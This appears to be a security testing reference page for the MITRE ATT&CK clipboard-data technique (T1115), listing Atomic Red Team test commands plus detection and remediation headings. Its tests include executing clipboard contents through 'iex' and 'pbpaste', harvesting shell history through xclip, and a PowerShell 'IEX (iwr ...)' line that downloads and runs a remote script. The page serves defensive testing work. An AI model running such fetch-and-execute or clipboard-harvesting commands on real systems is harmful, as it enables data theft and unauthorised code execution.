T1115_clipboard-data

T1115 Clipboard Data

High-Level Description

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

For example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard. Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., Transmitted Data Manipulation).

macOS and Linux also have commands, such as pbpaste, to grab clipboard contents.

Kill Chain Phase

• Collection (TA0009)

Platforms: Linux, macOS, Windows

What to Check

• Identify if Clipboard Data technique is applicable to target environment
• Check Linux systems for indicators of Clipboard Data
• Check macOS systems for indicators of Clipboard Data
• Check Windows systems for indicators of Clipboard Data
• Assess detection coverage (1 detection strategies)

How to Test

Atomic Red Team Tests

The following tests are from Atomic Red Team and provide actionable ways to test this technique:

Atomic Test 1: Utilize Clipboard to store or execute commands from

Add data to clipboard to copy off or execute commands from.

Supported Platforms: windows

dir | clip
echo "T1115" > %temp%\T1115.txt
clip < %temp%\T1115.txt

Atomic Test 2: Execute Commands from Clipboard using PowerShell

Utilize PowerShell to echo a command to clipboard and execute it

Supported Platforms: windows

echo Get-Process | clip
Get-Clipboard | iex

Atomic Test 3: Execute commands from clipboard

Echo a command to clipboard and execute it

Supported Platforms: macos

echo ifconfig | pbcopy
$(pbpaste)

Atomic Test 4: Collect Clipboard Data via VBA

This module copies the data stored in the user's clipboard and writes it to a file, $env:TEMP\atomic_T1115_clipboard_data.txt

Supported Platforms: windows

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Set-Clipboard -value "Atomic T1115 Test, grab data from clipboard via VBA"
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroFile "PathToAtomicsFolder\T1115\src\T1115-macrocode.txt" -officeProduct "Word" -sub "GetClipboard"

Dependencies:

• Microsoft #{ms_product} must be installed

Atomic Test 5: Add or copy content to clipboard with xClip

Utilize Linux Xclip to copy history and place in clipboard then output to a history.txt file. Successful execution will capture history and output to a file on disk.

Supported Platforms: linux

apt install xclip -y
history | tail -n 30 | xclip -sel clip
xclip -o > history.txt

Manual Testing

If Atomic Red Team tests are not applicable, manually verify the technique by:

1. Identify Attack Surface: Determine if the target environment is susceptible to Clipboard Data by examining the target platforms (Linux, macOS, Windows).

2. Assess Existing Defenses: Review whether mitigations for T1115 are in place. If defenses are absent or misconfigured, this technique may be exploitable.

3. Execute Test: Use tools and methods described in the MITRE ATT&CK page and external references below.

Remediation Guide

No specific mitigations documented for this technique.

Detection

Clipboard Data Access with Anomalous Context

Risk Assessment

CWE Categories

References

• CISA_AA21_200B
• mining_ruby_reversinglabs
• clip_win_server
• MSDN Clipboard
• Operating with EmPyre
• Atomic Red Team - T1115
• MITRE ATT&CK - T1115